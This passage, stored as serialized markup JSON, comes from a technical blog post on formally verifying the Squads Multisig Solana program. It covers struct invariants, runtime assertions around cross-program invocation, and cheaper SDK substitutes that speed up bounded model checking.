None",{"type":24,"tag":90,"props":29569,"children":29570},{"style":114},[29571],{"type":29,"value":748},{"type":24,"tag":90,"props":29573,"children":29574},{"class":92,"line":258},[29575],{"type":24,"tag":90,"props":29576,"children":29577},{"style":114},[29578],{"type":29,"value":612},{"type":24,"tag":90,"props":29580,"children":29581},{"class":92,"line":272},[29582],{"type":24,"tag":90,"props":29583,"children":29584},{"style":114},[29585],{"type":29,"value":827},{"type":24,"tag":25,"props":29587,"children":29588},{},[29589,29591,29596,29598,29603,29605,29610,29612,29617],{"type":29,"value":29590},"So interestingly, a ",{"type":24,"tag":32,"props":29592,"children":29594},{"className":29593},[],[29595],{"type":29,"value":22779},{"type":29,"value":29597}," vec of size 0 ",{"type":24,"tag":842,"props":29599,"children":29600},{},[29601],{"type":29,"value":29602},"is actually",{"type":29,"value":29604}," a sufficient condition to execute ",{"type":24,"tag":32,"props":29606,"children":29608},{"className":29607},[],[29609],{"type":29,"value":27275},{"type":29,"value":29611},". However would it ever actually happen? Well we know from before that when we create the multisig, the threshold must be less than or equal to the number of keys and also greater than zero. So in any ",{"type":24,"tag":842,"props":29613,"children":29614},{},[29615],{"type":29,"value":29616},"valid",{"type":29,"value":29618}," multisig, the number of keys should never be zero.",{"type":24,"tag":25,"props":29620,"children":29621},{},[29622,29624,29629],{"type":29,"value":29623},"We can represent this ",{"type":24,"tag":842,"props":29625,"children":29626},{},[29627],{"type":29,"value":29628},"validity",{"type":29,"value":29630}," with a struct invariant. In fact the invariant we defined earlier will be sufficient:",{"type":24,"tag":80,"props":29632,"children":29634},{"code":29633,"language":84,"meta":7,"className":82,"style":7},"#[invariant(\n (self.threshold >= 1)\n && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms { ... }\n",[29635],{"type":24,"tag":32,"props":29636,"children":29637},{"__ignoreMap":7},[29638,29645,29668,29719,29726],{"type":24,"tag":90,"props":29639,"children":29640},{"class":92,"line":93},[29641],{"type":24,"tag":90,"props":29642,"children":29643},{"style":114},[29644],{"type":29,"value":22574},{"type":24,"tag":90,"props":29646,"children":29647},{"class":92,"line":200},[29648,29652,29656,29660,29664],{"type":24,"tag":90,"props":29649,"children":29650},{"style":114},[29651],{"type":29,"value":26538},{"type":24,"tag":90,"props":29653,"children":29654},{"style":120},[29655],{"type":29,"value":226},{"type":24,"tag":90,"props":29657,"children":29658},{"style":114},[29659],{"type":29,"value":22867},{"type":24,"tag":90,"props":29661,"children":29662},{"style":120},[29663],{"type":29,"value":12312},{"type":24,"tag":90,"props":29665,"children":29666},{"style":114},[29667],{"type":29,"value":22876},{"type":24,"tag":90,"props":29669,"children":29670},{"class":92,"line":239},[29671,29675,29679,29683,29687,29691,29695,29699,29703,29707,29711,29715],{"type":24,"tag":90,"props":29672,"children":29673},{"style":120},[29674],{"type":29,"value":2129},{"type":24,"tag":90,"props":29676,"children":29677},{"style":114},[29678],{"type":29,"value":22800},{"type":24,"tag":90,"props":29680,"children":29681},{"style":120},[29682],{"type":29,"value":226},{"type":24,"tag":90,"props":29684,"children":29685},{"style":114},[29686],{"type":29,"value":22867},{"type":24,"tag":90,"props":29688,"children":29689},{"style":97},[29690],{"type":29,"value":361},{"type":24,"tag":90,"props":29692,"children":29693},{"style":146},[29694],{"type":29,"value":149},{"type":24,"tag":90,"props":29696,"children":29697},{"style":120},[29698],{"type":29,"value":10574},{"type":24,"tag":90,"props":29700,"children":29701},{"style":114},[29702],{"type":29,"value":221},{"type":24,"tag":90,"props":29704,"children":29705},{"style":120},[29706],{"type":29,"value":226},{"type":24,"tag":90,"props":29708,"children":29709},{"style":114},[29710],{"type":29,"value":22779},{"type":24,"tag":90,"props":29712,"children":29713},{"style":120},[29714],{"type":29,"value":226},{"type":24,"tag":90,"props":29716,"children":29717},{"style":114},[29718],{"type":29,"value":22928},{"type":24,"tag":90,"props":29720,"children":29721},{"class":92,"line":248},[29722],{"type":24,"tag":90,"props":29723,"children":29724},{"style":114},[29725],{"type":29,"value":22054},{"type":24,"tag":90,"props":29727,"children":29728},{"class":92,"line":258},[29729,29733,29737,29741,29745,29749],{"type":24,"tag":90,"props":29730,"children":29731},{"style":97},[29732],{"type":29,"value":100},{"type":24,"tag":90,"props":29734,"children":29735},{"style":97},[29736],{"type":29,"value":22947},{"type":24,"tag":90,"props":29738,"children":29739},{"style":146},[29740],{"type":29,"value":22952},{"type":24,"tag":90,"props":29742,"children":29743},{"style":114},[29744],{"type":29,"value":1196},{"type":24,"tag":90,"props":29746,"children":29747},{"style":120},[29748],{"type":29,"value":3013},{"type":24,"tag":90,"props":29750,"children":29751},{"style":114},[29752],{"type":29,"value":11967},{"type":24,"tag":25,"props":29754,"children":29755},{},[29756,29758,29764,29766,29772],{"type":29,"value":29757},"The use of a struct invariant allows us to define (and verify) the possible states that an account can be in at the start and end of an instruction. In this case, our struct invariant rules out the case where ",{"type":24,"tag":32,"props":29759,"children":29761},{"className":29760},[],[29762],{"type":29,"value":29763},"keys.len() == 0",{"type":29,"value":29765}," and allows us to prove the biconditional ",{"type":24,"tag":32,"props":29767,"children":29769},{"className":29768},[],[29770],{"type":29,"value":29771},"(keys.len() >= 1) -> (instruction succeeds)",{"type":29,"value":226},{"type":24,"tag":1019,"props":29774,"children":29776},{"id":29775},"safety-guarantees",[29777],{"type":29,"value":24581},{"type":24,"tag":25,"props":29779,"children":29780},{},[29781],{"type":29,"value":29782},"Formal verification is an awesome technique but it is not perfect. There are situations where things are not possible to formally verify and you need to resort to other methods.",{"type":24,"tag":25,"props":29784,"children":29785},{},[29786],{"type":29,"value":29787},"In particular, one of the difficult-to-verify parts of the Squads Multisig program is cross-program-invocation. Specifically, since cross-program-invocation executes foreign code, it is difficult (if not impossible) to verify whether this will succeed or fail.",{"type":24,"tag":25,"props":29789,"children":29790},{},[29791,29793,29799],{"type":29,"value":29792},"In the multisig program this happens in the ",{"type":24,"tag":32,"props":29794,"children":29796},{"className":29795},[],[29797],{"type":29,"value":29798},"execute_transaction",{"type":29,"value":29800}," instruction.",{"type":24,"tag":25,"props":29802,"children":29803},{},[29804],{"type":24,"tag":842,"props":29805,"children":29806},{},[29807],{"type":29,"value":29808},"So what do you do?",{"type":24,"tag":25,"props":29810,"children":29811},{},[29812],{"type":29,"value":29813},"For example, in a worst-case scenario you could imagine a situation like the following:",{"type":24,"tag":80,"props":29815,"children":29817},{"code":29816,"language":84,"meta":7,"className":82,"style":7},"#[derive(Accounts)]\npub MyCtx {\n #[account(mut)]\n pub my_account: Account\u003C'info, Acc>\n}\n\n#[account]\n#[invariant(bad == false)]\nstruct Acc {\n pub bad: bool\n}\n\nimpl Acc {\n pub fn put_into_bad_state() {\n self.bad = true;\n }\n}\n\n// Instruction handler:\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n invoke_signed(...); // Cross-program invocation\n\n let invoke_res = ...; // fetch result of invocation\n if invoke_res == 5 {\n ctx.my_account.put_into_bad_state(); // corrupt our account\n }\n Ok(())\n}\n",[29818],{"type":24,"tag":32,"props":29819,"children":29820},{"__ignoreMap":7},[29821,29836,29852,29867,29908,29915,29922,29929,29946,29962,29983,29990,29997,30013,30033,30061,30068,30075,30082,30090,30143,30169,30176,30205,30229,30264,30271,30282],{"type":24,"tag":90,"props":29822,"children":29823},{"class":92,"line":93},[29824,29828,29832],{"type":24,"tag":90,"props":29825,"children":29826},{"style":114},[29827],{"type":29,"value":24634},{"type":24,"tag":90,"props":29829,"children":29830},{"style":146},[29831],{"type":29,"value":24639},{"type":24,"tag":90,"props":29833,"children":29834},{"style":114},[29835],{"type":29,"value":22054},{"type":24,"tag":90,"props":29837,"children":29838},{"class":92,"line":200},[29839,29843,29848],{"type":24,"tag":90,"props":29840,"children":29841},{"style":97},[29842],{"type":29,"value":100},{"type":24,"tag":90,"props":29844,"children":29845},{"style":146},[29846],{"type":29,"value":29847}," MyCtx",{"type":24,"tag":90,"props":29849,"children":29850},{"style":114},[29851],{"type":29,"value":269},{"type":24,"tag":90,"props":29853,"children":29854},{"class":92,"line":239},[29855,29859,29863],{"type":24,"tag":90,"props":29856,"children":29857},{"style":114},[29858],{"type":29,"value":24926},{"type":24,"tag":90,"props":29860,"children":29861},{"style":97},[29862],{"type":29,"value":371},{"type":24,"tag":90,"props":29864,"children":29865},{"style":114},[29866],{"type":29,"value":22054},{"type":24,"tag":90,"props":29868,"children":29869},{"class":92,"line":248},[29870,29874,29879,29883,29887,29891,29895,29899,29904],{"type":24,"tag":90,"props":29871,"children":29872},{"style":97},[29873],{"type":29,"value":22639},{"type":24,"tag":90,"props":29875,"children":29876},{"style":136},[29877],{"type":29,"value":29878}," my_account",{"type":24,"tag":90,"props":29880,"children":29881},{"style":120},[29882],{"type":29,"value":78},{"type":24,"tag":90,"props":29884,"children":29885},{"style":146},[29886],{"type":29,"value":24891},{"type":24,"tag":90,"props":29888,"children":29889},{"style":114},[29890],{"type":29,"value":24719},{"type":24,"tag":90,"props":29892,"children":29893},{"style":146},[29894],{"type":29,"value":24724},{"type":24,"tag":90,"props":29896,"children":29897},{"style":114},[29898],{"type":29,"value":133},{"type":24,"tag":90,"props":29900,"children":29901},{"style":146},[29902],{"type":29,"value":29903},"Acc",{"type":24,"tag":90,"props":29905,"children":29906},{"style":114},[29907],{"type":29,"value":8377},{"type":24,"tag":90,"props":29909,"children":29910},{"class":92,"line":258},[29911],{"type":24,"tag":90,"props":29912,"children":29913},{"style":114},[29914],{"type":29,"value":827},{"type":24,"tag":90,"props":29916,"children":29917},{"class":92,"line":272},[29918],{"type":24,"tag":90,"props":29919,"children":29920},{"emptyLinePlaceholder":16},[29921],{"type":29,"value":245},{"type":24,"tag":90,"props":29923,"children":29924},{"class":92,"line":281},[29925],{"type":24,"tag":90,"props":29926,"children":29927},{"style":114},[29928],{"type":29,"value":22566},{"type":24,"tag":90,"props":29930,"children":29931},{"class":92,"line":384},[29932,29937,29941],{"type":24,"tag":90,"props":29933,"children":29934},{"style":114},[29935],{"type":29,"value":29936},"#[invariant(bad ",{"type":24,"tag":90,"props":29938,"children":29939},{"style":120},[29940],{"type":29,"value":10951},{"type":24,"tag":90,"props":29942,"children":29943},{"style":114},[29944],{"type":29,"value":29945}," false)]\n",{"type":24,"tag":90,"props":29947,"children":29948},{"class":92,"line":420},[29949,29953,29958],{"type":24,"tag":90,"props":29950,"children":29951},{"style":97},[29952],{"type":29,"value":3050},{"type":24,"tag":90,"props":29954,"children":29955},{"style":146},[29956],{"type":29,"value":29957}," Acc",{"type":24,"tag":90,"props":29959,"children":29960},{"style":114},[29961],{"type":29,"value":269},{"type":24,"tag":90,"props":29963,"children":29964},{"class":92,"line":428},[29965,29969,29974,29978],{"type":24,"tag":90,"props":29966,"children":29967},{"style":97},[29968],{"type":29,"value":22639},{"type":24,"tag":90,"props":29970,"children":29971},{"style":136},[29972],{"type":29,"value":29973}," bad",{"type":24,"tag":90,"props":29975,"children":29976},{"style":120},[29977],{"type":29,"value":78},{"type":24,"tag":90,"props":29979,"children":29980},{"style":146},[29981],{"type":29,"value":29982}," bool\n",{"type":24,"tag":90,"props":29984,"children":29985},{"class":92,"line":437},[29986],{"type":24,"tag":90,"props":29987,"children":29988},{"style":114},[29989],{"type":29,"value":827},{"type":24,"tag":90,"props":29991,"children":29992},{"class":92,"line":574},[29993],{"type":24,"tag":90,"props":29994,"children":29995},{"emptyLinePlaceholder":16},[29996],{"type":29,"value":245},{"type":24,"tag":90,"props":29998,"children":29999},{"class":92,"line":606},[30000,30005,30009],{"type":24,"tag":90,"props":30001,"children":30002},{"style":97},[30003],{"type":29,"value":30004},"impl",{"type":24,"tag":90,"props":30006,"children":30007},{"style":146},[30008],{"type":29,"value":29957},{"type":24,"tag":90,"props":30010,"children":30011},{"style":114},[30012],{"type":29,"value":269},{"type":24,"tag":90,"props":30014,"children":30015},{"class":92,"line":615},[30016,30020,30024,30029],{"type":24,"tag":90,"props":30017,"children":30018},{"style":97},[30019],{"type":29,"value":22639},{"type":24,"tag":90,"props":30021,"children":30022},{"style":97},[30023],{"type":29,"value":105},{"type":24,"tag":90,"props":30025,"children":30026},{"style":108},[30027],{"type":29,"value":30028}," put_into_bad_state",{"type":24,"tag":90,"props":30030,"children":30031},{"style":114},[30032],{"type":29,"value":2245},{"type":24,"tag":90,"props":30034,"children":30035},{"class":92,"line":623},[30036,30040,30044,30049,30053,30057],{"type":24,"tag":90,"props":30037,"children":30038},{"style":97},[30039],{"type":29,"value":29169},{"type":24,"tag":90,"props":30041,"children":30042},{"style":120},[30043],{"type":29,"value":226},{"type":24,"tag":90,"props":30045,"children":30046},{"style":114},[30047],{"type":29,"value":30048},"bad ",{"type":24,"tag":90,"props":30050,"children":30051},{"style":120},[30052],{"type":29,"value":5491},{"type":24,"tag":90,"props":30054,"children":30055},{"style":97},[30056],{"type":29,"value":14835},{"type":24,"tag":90,"props":30058,"children":30059},{"style":114},[30060],{"type":29,"value":381},{"type":24,"tag":90,"props":30062,"children":30063},{"class":92,"line":632},[30064],{"type":24,"tag":90,"props":30065,"children":30066},{"style":114},[30067],{"type":29,"value":612},{"type":24,"tag":90,"props":30069,"children":30070},{"class":92,"line":669},[30071],{"type":24,"tag":90,"props":30072,"children":30073},{"style":114},[30074],{"type":29,"value":827},{"type":24,"tag":90,"props":30076,"children":30077},{"class":92,"line":683},[30078],{"type":24,"tag":90,"props":30079,"children":30080},{"emptyLinePlaceholder":16},[30081],{"type":29,"value":245},{"type":24,"tag":90,"props":30083,"children":30084},{"class":92,"line":737},[30085],{"type":24,"tag":90,"props":30086,"children":30087},{"style":252},[30088],{"type":29,"value":30089},"// Instruction handler:\n",{"type":24,"tag":90,"props":30091,"children":30092},{"class":92,"line":751},[30093,30097,30102,30106,30110,30114,30118,30122,30127,30131,30135,30139],{"type":24,"tag":90,"props":30094,"children":30095},{"style":97},[30096],{"type":29,"value":22062},{"type":24,"tag":90,"props":30098,"children":30099},{"style":108},[30100],{"type":29,"value":30101}," hard_to_verify",{"type":24,"tag":90,"props":30103,"children":30104},{"style":114},[30105],{"type":29,"value":117},{"type":24,"tag":90,"props":30107,"children":30108},{"style":136},[30109],{"type":29,"value":22076},{"type":24,"tag":90,"props":30111,"children":30112},{"style":120},[30113],{"type":29,"value":78},{"type":24,"tag":90,"props":30115,"children":30116},{"style":146},[30117],{"type":29,"value":22085},{"type":24,"tag":90,"props":30119,"children":30120},{"style":114},[30121],{"type":29,"value":1575},{"type":24,"tag":90,"props":30123,"children":30124},{"style":146},[30125],{"type":29,"value":30126},"MyCtx",{"type":24,"tag":90,"props":30128,"children":30129},{"style":114},[30130],{"type":29,"value":22242},{"type":24,"tag":90,"props":30132,"children":30133},{"style":120},[30134],{"type":29,"value":177},{"type":24,"tag":90,"props":30136,"children":30137},{"style":146},[30138],{"type":29,"value":182},{"type":24,"tag":90,"props":30140,"children":30141},{"style":114},[30142],{"type":29,"value":22127},{"type":24,"tag":90,"props":30144,"children":30145},{"class":92,"line":782},[30146,30151,30155,30159,30164],{"type":24,"tag":90,"props":30147,"children":30148},{"style":108},[30149],{"type":29,"value":30150}," invoke_signed",{"type":24,"tag":90,"props":30152,"children":30153},{"style":114},[30154],{"type":29,"value":117},{"type":24,"tag":90,"props":30156,"children":30157},{"style":120},[30158],{"type":29,"value":3013},{"type":24,"tag":90,"props":30160,"children":30161},{"style":114},[30162],{"type":29,"value":30163},"); ",{"type":24,"tag":90,"props":30165,"children":30166},{"style":252},[30167],{"type":29,"value":30168},"// Cross-program invocation\n",{"type":24,"tag":90,"props":30170,"children":30171},{"class":92,"line":791},[30172],{"type":24,"tag":90,"props":30173,"children":30174},{"emptyLinePlaceholder":16},[30175],{"type":29,"value":245},{"type":24,"tag":90,"props":30177,"children":30178},{"class":92,"line":799},[30179,30183,30188,30192,30196,30200],{"type":24,"tag":90,"props":30180,"children":30181},{"style":97},[30182],{"type":29,"value":206},{"type":24,"tag":90,"props":30184,"children":30185},{"style":136},[30186],{"type":29,"value":30187}," invoke_res",{"type":24,"tag":90,"props":30189,"children":30190},{"style":120},[30191],{"type":29,"value":216},{"type":24,"tag":90,"props":30193,"children":30194},{"style":120},[30195],{"type":29,"value":27108},{"type":24,"tag":90,"props":30197,"children":30198},{"style":114},[30199],{"type":29,"value":3748},{"type":24,"tag":90,"props":30201,"children":30202},{"style":252},[30203],{"type":29,"value":30204},"// fetch result of invocation\n",{"type":24,"tag":90,"props":30206,"children":30207},{"class":92,"line":807},[30208,30212,30216,30220,30225],{"type":24,"tag":90,"props":30209,"children":30210},{"style":636},[30211],{"type":29,"value":639},{"type":24,"tag":90,"props":30213,"children":30214},{"style":136},[30215],{"type":29,"value":30187},{"type":24,"tag":90,"props":30217,"children":30218},{"style":120},[30219],{"type":29,"value":2102},{"type":24,"tag":90,"props":30221,"children":30222},{"style":349},[30223],{"type":29,"value":30224}," 5",{"type":24,"tag":90,"props":30226,"children":30227},{"style":114},[30228],{"type":29,"value":269},{"type":24,"tag":90,"props":30230,"children":30231},{"class":92,"line":821},[30232,30236,30240,30245,30249,30254,30259],{"type":24,"tag":90,"props":30233,"children":30234},{"style":136},[30235],{"type":29,"value":27995},{"type":24,"tag":90,"props":30237,"children":30238},{"style":120},[30239],{"type":29,"value":226},{"type":24,"tag":90,"props":30241,"children":30242},{"style":114},[30243],{"type":29,"value":30244},"my_account",{"type":24,"tag":90,"props":30246,"children":30247},{"style":120},[30248],{"type":29,"value":226},{"type":24,"tag":90,"props":30250,"children":30251},{"style":108},[30252],{"type":29,"value":30253},"put_into_bad_state",{"type":24,"tag":90,"props":30255,"children":30256},{"style":114},[30257],{"type":29,"value":30258},"(); ",{"type":24,"tag":90,"props":30260,"children":30261},{"style":252},[30262],{"type":29,"value":30263},"// corrupt our account\n",{"type":24,"tag":90,"props":30265,"children":30266},{"class":92,"line":6278},[30267],{"type":24,"tag":90,"props":30268,"children":30269},{"style":114},[30270],{"type":29,"value":612},{"type":24,"tag":90,"props":30272,"children":30273},{"class":92,"line":11420},[30274,30278],{"type":24,"tag":90,"props":30275,"children":30276},{"style":146},[30277],{"type":29,"value":813},{"type":24,"tag":90,"props":30279,"children":30280},{"style":114},[30281],{"type":29,"value":818},{"type":24,"tag":90,"props":30283,"children":30284},{"class":92,"line":11438},[30285],{"type":24,"tag":90,"props":30286,"children":30287},{"style":114},[30288],{"type":29,"value":827},{"type":24,"tag":25,"props":30290,"children":30291},{},[30292,30294,30299],{"type":29,"value":30293},"The integrity of the verification framework relies on the fact that the account invariants for the accounts contained in the instruction (in this case ",{"type":24,"tag":32,"props":30295,"children":30297},{"className":30296},[],[30298],{"type":29,"value":30244},{"type":29,"value":30300},") will be maintained as long as the instruction succeeds.",{"type":24,"tag":25,"props":30302,"children":30303},{},[30304],{"type":29,"value":30305},"In this case, we can't really verify if the instruction succeeds or not (at least without knowing which program/instruction will be invoked).",{"type":24,"tag":25,"props":30307,"children":30308},{},[30309,30311,30316],{"type":29,"value":30310},"However, we can ",{"type":24,"tag":842,"props":30312,"children":30313},{},[30314],{"type":29,"value":30315},"augment",{"type":29,"value":30317}," our code with additional runtime constraints to ensure that the safety properties are preserved even if formal verification fails.",{"type":24,"tag":25,"props":30319,"children":30320},{},[30321],{"type":29,"value":30322},"In this case, we can add runtime assertions that ensure our runtime invariants hold. For example:",{"type":24,"tag":80,"props":30324,"children":30326},{"code":30325,"language":84,"meta":7,"className":82,"style":7},"...\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n invoke_signed(...); // Cross-program invocation\n\n let invoke_res = ...; // fetch result of invocation\n if invoke_res == 5 {\n ctx.my_account.put_into_bad_state(); // corrupt our account\n }\n\n // Enforce invariants at runtime\n assert(ctx.my_account.invariant());\n\n Ok(())\n}\n",[30327],{"type":24,"tag":32,"props":30328,"children":30329},{"__ignoreMap":7},[30330,30338,30389,30412,30419,30446,30469,30500,30507,30514,30522,30557,30564,30575],{"type":24,"tag":90,"props":30331,"children":30332},{"class":92,"line":93},[30333],{"type":24,"tag":90,"props":30334,"children":30335},{"style":120},[30336],{"type":29,"value":30337},"...\n",{"type":24,"tag":90,"props":30339,"children":30340},{"class":92,"line":200},[30341,30345,30349,30353,30357,30361,30365,30369,30373,30377,30381,30385],{"type":24,"tag":90,"props":30342,"children":30343},{"style":97},[30344],{"type":29,"value":22062},{"type":24,"tag":90,"props":30346,"children":30347},{"style":108},[30348],{"type":29,"value":30101},{"type":24,"tag":90,"props":30350,"children":30351},{"style":114},[30352],{"type":29,"value":117},{"type":24,"tag":90,"props":30354,"children":30355},{"style":136},[30356],{"type":29,"value":22076},{"type":24,"tag":90,"props":30358,"children":30359},{"style":120},[30360],{"type":29,"value":78},{"type":24,"tag":90,"props":30362,"children":30363},{"style":146},[30364],{"type":29,"value":22085},{"type":24,"tag":90,"props":30366,"children":30367},{"style":114},[30368],{"type":29,"value":1575},{"type":24,"tag":90,"props":30370,"children":30371},{"style":146},[30372],{"type":29,"value":30126},{"type":24,"tag":90,"props":30374,"children":30375},{"style":114},[30376],{"type":29,"value":22242},{"type":24,"tag":90,"props":30378,"children":30379},{"style":120},[30380],{"type":29,"value":177},{"type":24,"tag":90,"props":30382,"children":30383},{"style":146},[30384],{"type":29,"value":182},{"type":24,"tag":90,"props":30386,"children":30387},{"style":114},[30388],{"type":29,"value":22127},{"type":24,"tag":90,"props":30390,"children":30391},{"class":92,"line":239},[30392,30396,30400,30404,30408],{"type":24,"tag":90,"props":30393,"children":30394},{"style":108},[30395],{"type":29,"value":30150},{"type":24,"tag":90,"props":30397,"children":30398},{"style":114},[30399],{"type":29,"value":117},{"type":24,"tag":90,"props":30401,"children":30402},{"style":120},[30403],{"type":29,"value":3013},{"type":24,"tag":90,"props":30405,"children":30406},{"style":114},[30407],{"type":29,"value":30163},{"type":24,"tag":90,"props":30409,"children":30410},{"style":252},[30411],{"type":29,"value":30168},{"type":24,"tag":90,"props":30413,"children":30414},{"class":92,"line":248},[30415],{"type":24,"tag":90,"props":30416,"children":30417},{"emptyLinePlaceholder":16},[30418],{"type":29,"value":245},{"type":24,"tag":90,"props":30420,"children":30421},{"class":92,"line":258},[30422,30426,30430,30434,30438,30442],{"type":24,"tag":90,"props":30423,"children":30424},{"style":97},[30425],{"type":29,"value":206},{"type":24,"tag":90,"props":30427,"children":30428},{"style":136},[30429],{"type":29,"value":30187},{"type":24,"tag":90,"props":30431,"children":30432},{"style":120},[30433],{"type":29,"value":216},{"type":24,"tag":90,"props":30435,"children":30436},{"style":120},[30437],{"type":29,"value":27108},{"type":24,"tag":90,"props":30439,"children":30440},{"style":114},[30441],{"type":29,"value":3748},{"type":24,"tag":90,"props":30443,"children":30444},{"style":252},[30445],{"type":29,"value":30204},{"type":24,"tag":90,"props":30447,"children":30448},{"class":92,"line":272},[30449,30453,30457,30461,30465],{"type":24,"tag":90,"props":30450,"children":30451},{"style":636},[30452],{"type":29,"value":639},{"type":24,"tag":90,"props":30454,"children":30455},{"style":136},[30456],{"type":29,"value":30187},{"type":24,"tag":90,"props":30458,"children":30459},{"style":120},[30460],{"type":29,"value":2102},{"type":24,"tag":90,"props":30462,"children":30463},{"style":349},[30464],{"type":29,"value":30224},{"type":24,"tag":90,"props":30466,"children":30467},{"style":114},[30468],{"type":29,"value":269},{"type":24,"tag":90,"props":30470,"children":30471},{"class":92,"line":281},[30472,30476,30480,30484,30488,30492,30496],{"type":24,"tag":90,"props":30473,"children":30474},{"style":136},[30475],{"type":29,"value":27995},{"type":24,"tag":90,"props":30477,"children":30478},{"style":120},[30479],{"type":29,"value":226},{"type":24,"tag":90,"props":30481,"children":30482},{"style":114},[30483],{"type":29,"value":30244},{"type":24,"tag":90,"props":30485,"children":30486},{"style":120},[30487],{"type":29,"value":226},{"type":24,"tag":90,"props":30489,"children":30490},{"style":108},[30491],{"type":29,"value":30253},{"type":24,"tag":90,"props":30493,"children":30494},{"style":114},[30495],{"type":29,"value":30258},{"type":24,"tag":90,"props":30497,"children":30498},{"style":252},[30499],{"type":29,"value":30263},{"type":24,"tag":90,"props":30501,"children":30502},{"class":92,"line":384},[30503],{"type":24,"tag":90,"props":30504,"children":30505},{"style":114},[30506],{"type":29,"value":612},{"type":24,"tag":90,"props":30508,"children":30509},{"class":92,"line":420},[30510],{"type":24,"tag":90,"props":30511,"children":30512},{"emptyLinePlaceholder":16},[30513],{"type":29,"value":245},{"type":24,"tag":90,"props":30515,"children":30516},{"class":92,"line":428},[30517],{"type":24,"tag":90,"props":30518,"children":30519},{"style":252},[30520],{"type":29,"value":30521}," // Enforce invariants at runtime\n",{"type":24,"tag":90,"props":30523,"children":30524},{"class":92,"line":437},[30525,30529,30533,30537,30541,30545,30549,30553],{"type":24,"tag":90,"props":30526,"children":30527},{"style":108},[30528],{"type":29,"value":21034},{"type":24,"tag":90,"props":30530,"children":30531},{"style":114},[30532],{"type":29,"value":117},{"type":24,"tag":90,"props":30534,"children":30535},{"style":136},[30536],{"type":29,"value":22076},{"type":24,"tag":90,"props":30538,"children":30539},{"style":120},[30540],{"type":29,"value":226},{"type":24,"tag":90,"props":30542,"children":30543},{"style":114},[30544],{"type":29,"value":30244},{"type":24,"tag":90,"props":30546,"children":30547},{"style":120},[30548],{"type":29,"value":226},{"type":24,"tag":90,"props":30550,"children":30551},{"style":108},[30552],{"type":29,"value":23574},{"type":24,"tag":90,"props":30554,"children":30555},{"style":114},[30556],{"type":29,"value":1928},{"type":24,"tag":90,"props":30558,"children":30559},{"class":92,"line":574},[30560],{"type":24,"tag":90,"props":30561,"children":30562},{"emptyLinePlaceholder":16},[30563],{"type":29,"value":245},{"type":24,"tag":90,"props":30565,"children":30566},{"class":92,"line":606},[30567,30571],{"type":24,"tag":90,"props":30568,"children":30569},{"style":146},[30570],{"type":29,"value":813},{"type":24,"tag":90,"props":30572,"children":30573},{"style":114},[30574],{"type":29,"value":818},{"type":24,"tag":90,"props":30576,"children":30577},{"class":92,"line":615},[30578],{"type":24,"tag":90,"props":30579,"children":30580},{"style":114},[30581],{"type":29,"value":827},{"type":24,"tag":25,"props":30583,"children":30584},{},[30585,30587,30592,30594,30599,30601,30606],{"type":29,"value":30586},"Here, we explicitly ",{"type":24,"tag":32,"props":30588,"children":30590},{"className":30589},[],[30591],{"type":29,"value":21779},{"type":29,"value":30593}," that our invariants hold at ",{"type":24,"tag":842,"props":30595,"children":30596},{},[30597],{"type":29,"value":30598},"runtime",{"type":29,"value":30600}," which allows us to be assured that ",{"type":24,"tag":32,"props":30602,"children":30604},{"className":30603},[],[30605],{"type":29,"value":30244},{"type":29,"value":30607}," will not enter a bad state as a result of some unverifiable behavior.",{"type":24,"tag":25,"props":30609,"children":30610},{},[30611],{"type":29,"value":30612},"In general techniques like this can be used to tidy up the loose ends that formal verification may struggle with.",{"type":24,"tag":850,"props":30614,"children":30616},{"id":30615},"challenges-of-formal-verification-on-solana",[30617],{"type":29,"value":30618},"Challenges of formal verification on Solana",{"type":24,"tag":1019,"props":30620,"children":30622},{"id":30621},"expensive-computation",[30623],{"type":29,"value":30624},"Expensive computation",{"type":24,"tag":25,"props":30626,"children":30627},{},[30628,30630,30635],{"type":29,"value":30629},"As we started exploring this project, we were hoping to see it work straight out of the box. Unfortunately, that was not the case. Harkening back to our friend ",{"type":24,"tag":842,"props":30631,"children":30632},{},[30633],{"type":29,"value":30634},"path explosion",{"type":29,"value":30636},", it is often the case that bounded model checking just grinds and grinds on the problem and is not able to produce a solution.",{"type":24,"tag":25,"props":30638,"children":30639},{},[30640,30642,30647],{"type":29,"value":30641},"In order to make this technique more widely applicable, we've been developing a runtime SDK layer that is more ",{"type":24,"tag":842,"props":30643,"children":30644},{},[30645],{"type":29,"value":30646},"formal verification friendly",{"type":29,"value":30648},". Specifically our tool will replace certain built-in SDK functions and structures with less expensive ones in the context of symbolic execution.",{"type":24,"tag":25,"props":30650,"children":30651},{},[30652,30654,30659,30661,30666],{"type":29,"value":30653},"For example, when verifying things like the uniqueness of a ",{"type":24,"tag":32,"props":30655,"children":30657},{"className":30656},[],[30658],{"type":29,"value":23194},{"type":29,"value":30660}," in a ",{"type":24,"tag":32,"props":30662,"children":30664},{"className":30663},[],[30665],{"type":29,"value":3732},{"type":29,"value":30667},", the native program may generate extremely large SMT expressions containing nested 32-byte comparisons and binary searches on a vector.",{"type":24,"tag":25,"props":30669,"children":30670},{},[30671,30673,30678,30680,30685,30687,30692,30694,30699,30701,30706,30708,30713],{"type":29,"value":30672},"However, in most cases the properties we are interested in do not require specific search algorithms for the ",{"type":24,"tag":32,"props":30674,"children":30676},{"className":30675},[],[30677],{"type":29,"value":3732},{"type":29,"value":30679}," or a 32-byte ",{"type":24,"tag":32,"props":30681,"children":30683},{"className":30682},[],[30684],{"type":29,"value":23194},{"type":29,"value":30686},". Instead, our tool can substitute in ",{"type":24,"tag":842,"props":30688,"children":30689},{},[30690],{"type":29,"value":30691},"cheaper",{"type":29,"value":30693}," types and functions, such as a 4-byte ",{"type":24,"tag":32,"props":30695,"children":30697},{"className":30696},[],[30698],{"type":29,"value":23194},{"type":29,"value":30700}," struct and a fixed-size, array-backed ",{"type":24,"tag":32,"props":30702,"children":30704},{"className":30703},[],[30705],{"type":29,"value":3732},{"type":29,"value":30707}," implementation. These structures are API-compatible with the native SDK and the changes are functionally invisible to the Solana program we are verifying. However, the generated expressions are ",{"type":24,"tag":842,"props":30709,"children":30710},{},[30711],{"type":29,"value":30712},"much",{"type":29,"value":30714}," simpler and we find that these techniques can greatly accelerate the speed of model-checking.",{"type":24,"tag":25,"props":30716,"children":30717},{},[30718],{"type":29,"value":30719},"It is of key importance that these SDK modifications do not introduce any unsoundness into the model-checking process. We are actively exploring how to do this 